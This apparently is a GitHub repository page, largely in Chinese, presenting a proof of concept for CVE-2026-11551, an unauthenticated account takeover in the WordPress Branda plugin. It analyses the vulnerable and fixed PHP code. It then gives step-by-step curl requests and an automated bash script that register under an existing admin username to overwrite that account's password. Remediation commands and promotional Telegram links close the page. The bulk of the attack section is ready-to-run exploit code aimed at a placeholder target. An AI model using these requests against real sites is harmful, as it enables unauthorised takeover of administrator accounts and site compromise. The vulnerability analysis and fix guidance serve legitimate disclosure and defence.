Polosss/By-Poloss..-..CVE-2026-11551-PoC

GitHub: Polosss/By-Poloss..-..CVE-2026-11551-PoC

WordPress Branda 插件未授权账户接管漏洞(CVE-2026-11551,CVSS 9.8)的概念验证代码,复现并利用密码更新流程中缺失身份验证导致的权限提升问题。

Stars: 0 | Forks: 0

# CVE-2026-11551:Branda 插件 - 通过账户接管实现未授权权限提升 ## 概述 - **CVE ID**: CVE-2026-11551 - **CVSS 评分**: 9.8(严重) - **受影响版本**: Branda – White Label & Branding <= 3.4.29 - **已修复版本**: 3.4.31 - **发布日期**: 2026年6月19日 ## 漏洞描述 WordPress 的 Branda 插件在 3.4.29 及以下的所有版本中,存在通过账户接管引发的权限提升漏洞。这是由于该插件在更新用户密码之前未正确验证用户身份。这使得未经身份验证的攻击者能够更改任意用户(包括管理员)的密码,并利用此漏洞获取其账户的访问权限。 ## 技术分析 ### 漏洞代码位置 `/inc/modules/login-screen/signup-password.php` ### 根本原因 易受攻击版本中的 `pre_insert_user_data()` 函数缺乏正确的验证: ``` // Vulnerable version (3.4.29) public function pre_insert_user_data( $data, $update, $id ) { if ( is_multisite() ) { // Multisite code... } // Missing: if ($update) return $data; <-- VULNERABILITY if ( empty( $data['user_pass'] ) && empty( $_POST['password_1'] ) ) { $data['user_pass'] = wp_hash_password( wp_generate_password( 20, false ) ); } elseif ( ! empty( $_POST['password_1'] ) ) { // Set the password from POST data $data['user_pass'] = wp_hash_password( $_POST['password_1'] ); } return $data; } ``` ### 已修复代码 (3.4.31) ``` public function pre_insert_user_data( $data, $update, $id ) { if ( is_multisite() ) { // Multisite code with proper checks... } // FIX: Added check to prevent updating existing users if ( $update ) { return $data; } if ( empty( $data['user_pass'] ) && empty( $_POST['password_1'] ) ) { $data['user_pass'] = wp_hash_password( wp_generate_password( 20, false ) ); } elseif ( ! empty( $_POST['password_1'] ) ) { $data['user_pass'] = wp_hash_password( $_POST['password_1'] ); } return $data; } ``` ## 攻击向量 ### 向量 1:多站点注册(主要) 1. 攻击者访问 `/wp-signup.php` 2. 使用已存在的管理员用户名(例如 "admin")进行注册 3. 通过 `password_1` 参数设置自定义密码 4. Branda 将密码存储在注册 meta 中 5. 激活时,密码会覆盖现有管理员的密码 ### 向量 2:单站点注册 1. 攻击者访问 `/wp-login.php?action=register` 2. Branda 在表单中添加密码字段 3. 攻击者使用已存在的用户名提交注册 4. 如果激活完成,密码将被设置 ## 概念验证 (curl) ### 步骤 1:检查是否启用了注册功能 ``` curl -s -k "https://TARGET/wp-login.php?action=register" | grep -i "registration" ``` ### 步骤 2:检查 WordPress 类型(多站点 vs 单站点) ``` curl -s -k -I "https://TARGET/wp-signup.php" | grep "HTTP/" ``` ### 步骤 3:对于多站点 - 使用管理员用户名注册 ``` curl -s -k -c cookies.txt -b cookies.txt \ -X POST "https://TARGET/wp-signup.php" \ -d "user_name=admin" \ -d "user_email=attacker@evil.com" \ -d "password_1=NewP@ssw0rd!" \ -d "password_2=NewP@ssw0rd!" \ -d "signup_for=blog" ``` ### 步骤 4:对于单站点 - 注册 ``` curl -s -k -c cookies.txt -b cookies.txt \ -X POST "https://TARGET/wp-login.php?action=register" \ -d "user_login=admin" \ -d "user_email=attacker@evil.com" \ -d "password_1=NewP@ssw0rd!" \ -d "password_2=NewP@ssw0rd!" \ -d "wp-submit=Register" ``` ### 步骤 5:激活(如果需要电子邮件验证) ``` # 从 email 中提取 activation key 并访问: curl -s -k -c cookies.txt -b cookies.txt \ "https://TARGET/wp-activate.php?key=ACTIVATION_KEY" ``` ### 步骤 6:验证 - 尝试登录 ``` curl -s -k -c cookies.txt -b cookies.txt \ -X POST "https://TARGET/wp-login.php" \ -d "log=admin" \ -d "pwd=NewP@ssw0rd!" \ -d "wp-submit=Log In" \ -L | grep -i "dashboard\|wp-admin\|error" ``` ## 自动化利用脚本 ``` #!/bin/bash TARGET="https://TARGET" USERNAME="admin" NEW_PASSWORD="Pwned$(date +%s)!" echo "[*] Registering $USERNAME with password $NEW_PASSWORD..." # Multisite 攻击 curl -s -k -c /tmp/cookies.txt \ -X POST "$TARGET/wp-signup.php" \ -d "user_name=$USERNAME" \ -d "user_email=attacker@evil.com" \ -d "password_1=$NEW_PASSWORD" \ -d "password_2=$NEW_PASSWORD" echo "[*] Check email for activation link" echo "[*] After activation, try: curl -X POST $TARGET/wp-login.php -d 'log=$USERNAME' -d 'pwd=$NEW_PASSWORD'" ``` ## 利用要求 1. **已安装并激活 Branda 插件 <= 3.4.29 版本的 WordPress** 2. **必须启用用户注册功能**(检查 `Settings > General > Membership: Anyone can register`) 3. **要成功接管账户**:目标用户名必须存在 4. **对于多站点**:需获取激活邮件(或绕过激活) ## 修复方案 将 Branda 插件更新至 3.4.31 或更高版本: ``` # 通过 WordPress Admin Dashboard > Plugins > Branda > Update # 通过 WP-CLI wp plugin update branda-white-labeling # 通过 SSH wp plugin update branda-white-labeling --version=3.4.31 ``` ## 影响 - **机密性**: 高 - 攻击者可获取任何用户账户的访问权限 - **完整性**: 高 - 攻击者可以修改内容 - **可用性**: 高 - 攻击者可以锁定合法用户 ## 参考 - [Wordfence Intelligence](https://www.wordfence.com/threat-intel/vulnerabilities/cve-2026-11551) - [WPScan](https://wpscan.com/vulnerability/cve-2026-11551) - [Plugin Trac](https://plugins.trac.wordpress.org/browser/branda-white-labeling/tags/3.4.29/inc/modules/login-screen/signup-password.php) ## W.P.E.F - [W.P.E.F Telegram 频道 #1](https://t.me/wpef0) - [W.P.E.F Telegram 频道 #2](https://t.me/wpef01)
标签:OpenVAS, PHP, WordPress, 协议分析, 应用安全, 文件完整性监控, 权限提升, 漏洞分析, 账户接管, 路径探测